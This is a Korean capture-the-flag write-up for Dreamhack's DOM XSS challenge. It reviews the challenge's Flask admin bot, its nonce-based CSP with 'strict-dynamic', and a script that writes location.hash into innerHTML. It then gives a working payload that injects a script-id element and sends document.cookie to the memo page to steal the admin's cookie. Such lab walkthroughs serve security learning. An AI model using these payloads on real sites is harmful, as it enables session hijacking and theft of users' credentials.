[Dreamhack] DOM XSS
풀이
문제에 접속하면 다음과 같이 vuln, memo, flag 페이지가 존재한다.
vuln 페이지에 접속해보니 param
파라미터에 dreamhack.io에 있는 이미지를 img 태그를 이용해서 이미지를 삽입하고 있다. 그리고 #
뒤에는 dreamhack 이라고 되어 있는데 #
뒤에 있는 문자열은 서버로 요청이 전송되지 않고 클라이언트에게만 응답된다.
#
문자 뒤에 있었던 dreamhack
문자열을 <script>alert(1)</script>
로 변경하고 페이지를 새로고침하니 페이지에 url 인코딩 되어 출력된다.
memo 페이지에서는 이전에 풀었던 xss 문제들처럼 memo 파라미터에 있는 문자열을 방문할 때마다 하나씩 추가되고 있다.
flag 페이지에서는 아마도 관리자 권한으로 param 파라미터 값과 #
문자 뒤에 페이로드를 삽입할 수 있도록 폼이 존재하고 있다.
이쯤에서 문제 파일의 코드를 한 번 살펴보자.
read_url
함수를 먼저 살펴보면 쿠키에 domain 속성을 추가하여 127.0.0.1 에서만 작동하게 될 수 있도록 하고, 관리자 권한으로 쿠키를 추가하고 인자에 설정된 url에 접속한다.
def read_url(url, cookie={"name": "name", "value": "value"}):
cookie.update({"domain": "127.0.0.1"})
try:
service = Service(executable_path="/chromedriver")
options = webdriver.ChromeOptions()
for _ in [
"headless",
"window-size=1920x1080",
"disable-gpu",
"no-sandbox",
"disable-dev-shm-usage",
]:
options.add_argument(_)
driver = webdriver.Chrome(service=service, options=options)
driver.implicitly_wait(3)
driver.set_page_load_timeout(3)
driver.get("http://127.0.0.1:8000/")
driver.add_cookie(cookie)
driver.get(url)
except Exception as e:
driver.quit()
# return str(e)
return False
driver.quit()
return True
바로 아래에 있는 check_xss
함수에서는 관리자 권한으로 접속해서 vuln 페이지에 param
파라미터 값과 #
뒤에 페이로드를 삽입해서 관리자의 쿠키를 탈취해야 한다는 것을 알 수 있다.
def check_xss(param, name, cookie={"name": "name", "value": "value"}):
url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}#{name}"
return read_url(url, cookie)
여기서 @app.after_request
는 flask에서 매 요청이 처리되고 나서 실행되는 핸들러이다. add_header
함수를 살펴보면 전역변수로 nonce를 설정하고, 1바이트는 16진수로 2자리로 표현할 수 있기 때문에 32자리인 것을 알 수 있다. CSP에 대해서는 아래에 대해서 정리했다.
@app.after_request
def add_header(response):
global nonce
response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'self' 'nonce-{nonce}' 'strict-dynamic'"
nonce = os.urandom(16).hex()
return response
이 CSP 헤더에서 strict-dynamic
이라는 옵션을 처음 봤는데 이 옵션이 추가되면 script
지시문에서 nonce 값이 일치하는 스크립트면 self
를 무시할 수 있고, 추가 스크립트를 동적으로 로드할 때 동적으로 로드된 스크립트도 실행된다고 한다.
1. default-src 'self'
- 다른 출처에서 스크립트나 리소스를 가져올 수 없음
2. img-src https://dreamhack.io
- 이미지는 dreamhack.io 출처에서만 로드 가능
3. style-src 'self' 'unsafe-inline'
- CSS 스타일 시트는 현재 도메인에서 로드되며, 인라인 스타일도 허용
4. script-src 'self' 'nonce-{nonce}' 'strict-dynamic'
- 스크립트는 현재 도메인에서 로드할 수 있으며, nonce 값을 가진 스크립트 허용, 'strict-dynamic'을 추가하여 script-src에서 정의한 출처('self')보다 nonce나 hash 기반의 신뢰가 우선
나머지 코드에서는 별다르게 볼 건 없고, 문제 사이트 안에서의 코드를 살펴보니 아래와 같은 자바스크립트 코드가 작성되어 있는 것을 볼 수 있다. 해석해보면 id가 name인 요소를 선택해서 location.hash.slice(1)
를 사용해 # 뒤에 오는 문자열을 가져와 innerHTML로 삽입하는 것을 알 수 있다.
<script nonce="">
window.addEventListener("load", function() {
var name_elem = document.getElementById("name");
name_elem.innerHTML = `${location.hash.slice(1)} is my name !`;
});
</script>
<div id="name">asd</div>#bbb
를 파라미터 값으로 넘겨주니 div 태그 안에 #뒤에 있는 문자열인 bbb가 bbb is my name으로 삽입되어 있는 것을 알 수 있다. 따라서 이를 script 태그로 작성하고 # 뒤에 있는 문자를 alert(1)//
로 바꿔주면 뒤에 있는 문자열들이 주석처리 되어 실행될 것이다.
<script id="name"></script>#alert(1)//
를 넘겨주니 alert(1)이 잘 실행된 것을 볼 수 있다.
이제 flag 페이지에서 관리자의 쿠키를 이용해 document.cookie를 memo 페이지에 작성하면 된다. memo 페이지에서는 아래처럼 파라미터가 memo로 되어 있으니 location 함수를 이용해 '/memo?memo='
까지 적고 뒤에 + document.cookie를 입력해주는데 주석처리까지 해주어야 페이로드가 잘 실행된다.
최종적으로 아래와 같이 페이로드를 입력해주면 memo페이지에 flag가 나온 것을 확인할 수 있다.
<script id="name"></script> location='/memo?memo='+document.cookie//
댓글남기기